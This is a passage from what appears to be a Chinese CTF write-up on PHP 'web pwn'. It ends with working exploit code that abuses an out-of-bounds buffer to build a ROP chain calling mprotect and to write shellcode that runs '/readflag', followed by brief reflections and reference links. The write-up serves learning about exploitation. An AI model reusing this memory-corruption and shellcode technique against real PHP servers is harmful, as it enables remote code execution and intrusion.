$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}


for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}

$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;

for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}


$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);

$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;

$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);

//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}

?>

0x04 感想

第一次接触WEB PWN,突然觉得php语言的模块功能好灵活方便,WEB PWN也挺有趣。

0x05 参考链接

[ PHP 内核与扩展开发系列] PHP 生命周期 —— 启动、终止与模式](https://laravelacademy.org/post/7152.html)
PHP扩展之PHP的启动和停止
php7扩展开发 一 获取参数
php-src
PHP7 Memory Exploitation